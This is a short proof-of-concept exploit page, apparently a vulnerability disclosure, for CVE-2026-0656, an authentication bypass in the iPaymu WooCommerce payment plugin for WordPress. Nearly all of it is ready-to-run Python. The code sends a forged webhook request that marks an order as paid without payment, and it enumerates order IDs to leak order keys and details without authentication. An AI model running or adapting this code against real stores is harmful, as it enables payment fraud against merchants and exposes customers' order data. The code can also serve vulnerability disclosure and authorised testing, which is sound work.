CVE-2026-0656 WordPress iPaymu支付插件缺少认证漏洞

import requests # CVE-2026-0656 PoC - iPaymu Payment Gateway Auth Bypass # Target: WordPress site with iPaymu WooCommerce plugin <= 2.0.2 TARGET_URL = "https://vulnerable-site.com/" def mark_order_as_paid(order_id): """Mark WooCommerce order as paid without actual payment""" webhook_url = f"{TARGET_URL}?wc-api=check_ipaymu_response" # Crafted POST request without signature verification payload = { 'status': 'success', 'trx_id': 'FAKE_TRX_12345', 'order_id': str(order_id), 'amount': '100000', 'product': f'Order #{order_id}' } response = requests.post(webhook_url, data=payload, timeout=10) print(f"[*] Sent forged payment notification for order {order_id}") print(f"[*] Response status: {response.status_code}") return response def enumerate_orders(start_id=1, end_id=1000): """Enumerate order IDs and leak order keys via GET requests""" print(f"[*] Enumerating orders from {start_id} to {end_id}...") for order_id in range(start_id, end_id + 1): # Direct access to order info without authentication order_url = f"{TARGET_URL}?wc-api=check_ipaymu_response&order_id={order_id}" response = requests.get(order_url, timeout=10) if response.status_code == 200 and 'order_key' in response.text: print(f"[+] Found valid order: {order_id}") print(f"[+] Order details: {response.text[:200]}...") # Execute attack if __name__ == "__main__": # Step 1: Mark a specific order as paid mark_order_as_paid(1001) # Step 2: Enumerate orders to find valid ones enumerate_orders(1000, 2000)